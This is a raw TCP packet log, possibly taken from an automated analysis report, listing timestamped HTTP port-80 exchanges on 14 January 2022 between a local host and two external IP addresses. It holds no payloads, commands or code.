Jan 14, 2022 02:05:17.662966013 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662990093 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663003922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663044930 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663072109 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663081884 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663121939 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663144112 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663162947 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663199902 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663238049 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663274050 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663275957 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663294077 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663316011 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663355112 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663393021 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663414001 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663431883 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663446903 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663470030 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663506985 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663511992 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663553953 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663593054 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663604021 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663630009 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663670063 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663707972 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663718939 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663747072 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663753033 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663784981 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663821936 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663861036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663872957 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663898945 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663912058 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.663935900 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.663975000 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.664014101 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.664028883 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.664053917 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.664066076 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.664093971 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.664130926 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.664170980 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.664182901 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.664210081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.664222002 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.664247990 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.664287090 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.664339066 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.669491053 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670085907 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670187950 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670228958 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670262098 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.670301914 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670312881 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.670351982 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670398951 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670409918 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.670449018 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670485020 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670500994 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.670541048 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670582056 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670628071 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670643091 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.670764923 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670802116 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670818090 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.670847893 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.670876980 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670916080 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670963049 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.670974016 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.671013117 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671049118 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671066999 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.671104908 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671145916 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671191931 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671202898 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.671241999 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671278954 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671295881 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.671329975 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.671350956 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671390057 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671435118 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671446085 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.671485901 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671523094 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671540022 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.671577930 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671618938 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671664953 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671675920 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.671715021 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671751976 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671766996 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.671797037 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.671822071 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671859026 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671897888 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671912909 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.671953917 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.671989918 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672004938 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.672045946 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672086000 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672132015 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672142982 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.672183037 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672219992 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672234058 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.672265053 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.672291994 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672333956 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672374010 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672390938 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.672430038 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672466993 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672482014 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.672521114 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672559023 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672596931 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672611952 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.672651052 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672687054 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672700882 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.672740936 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672787905 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672799110 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.672831059 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.672875881 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.672969103 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.673018932 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.673029900 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.673070908 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.673115969 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.673137903 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.673177004 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.673216105 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.673260927 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.673271894 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.673310041 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.673330069 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.673368931 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.673419952 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.673475027 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.674806118 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.678078890 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678137064 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678179026 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678217888 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678224087 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.678241968 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.678256035 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678294897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678308010 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.678334951 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678374052 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678384066 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.678412914 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678452969 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678491116 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678519011 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.678529978 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678549051 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.678569078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678606987 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.678618908 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.678783894 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.725218058 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.749552011 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.749618053 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:20.467690945 CET	49887	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:20.518538952 CET	80	49887	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:20.518666983 CET	49887	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:20.699587107 CET	49887	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:20.699703932 CET	49887	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:20.750958920 CET	80	49887	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:20.776453972 CET	80	49887	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:20.776599884 CET	49887	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:21.957649946 CET	49887	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:22.008476973 CET	80	49887	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:22.271436930 CET	49888	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:22.321742058 CET	80	49888	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:22.321846008 CET	49888	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:22.400262117 CET	49888	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:22.400346994 CET	49888	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:22.450789928 CET	80	49888	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:22.490086079 CET	80	49888	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:22.490170002 CET	49888	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:22.527435064 CET	49888	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:22.578114033 CET	80	49888	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:22.779653072 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.850641966 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.850667000 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.850680113 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.850697041 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.850713015 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.850728989 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.850744963 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.850763083 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.850778103 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.850788116 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.850795031 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.850824118 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.850853920 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.921129942 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921156883 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921169043 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921181917 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921211004 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921226978 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921245098 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921261072 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921278000 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921294928 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921312094 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921329021 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921345949 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921354055 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.921364069 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921381950 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921391964 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.921399117 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921399117 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.921403885 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.921408892 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.921461105 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921463013 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.921479940 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921508074 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921525002 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.921539068 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.921582937 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.991658926 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991679907 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991697073 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991712093 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991728067 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991743088 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991750002 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.991760015 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991777897 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991796017 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991799116 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.991811991 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991822958 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.991831064 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991847992 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991866112 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991875887 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.991882086 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991899967 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991913080 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.991916895 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991931915 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.991933107 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991950035 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991961002 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.991967916 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.991983891 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992001057 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992017984 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992021084 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.992028952 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.992034912 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992053032 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992069960 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992083073 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.992086887 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992100000 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.992104053 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992120981 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992131948 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.992137909 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992155075 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992167950 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.992172956 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992192030 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992202997 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.992208004 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992224932 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992234945 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.992265940 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.992274046 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992290974 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992309093 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992332935 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.992369890 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992388010 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992403984 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:22.992414951 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:22.992448092 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.062644958 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.062706947 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.062746048 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.062761068 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.062783957 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.062824965 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.062860966 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.062870979 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.062901020 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.062911987 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.062942982 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.062984943 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.062990904 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.063024044 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063061953 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063071012 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.063102007 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063141108 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063148022 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.063178062 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063219070 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063225985 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.063256979 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063297033 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063304901 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.063337088 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063374996 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063384056 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.063415051 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063455105 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063461065 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.063493013 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063532114 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063536882 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.063570023 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063612938 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063620090 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.063652992 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063689947 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063700914 CET	49851	80	192.168.2.3	141.8.194.74
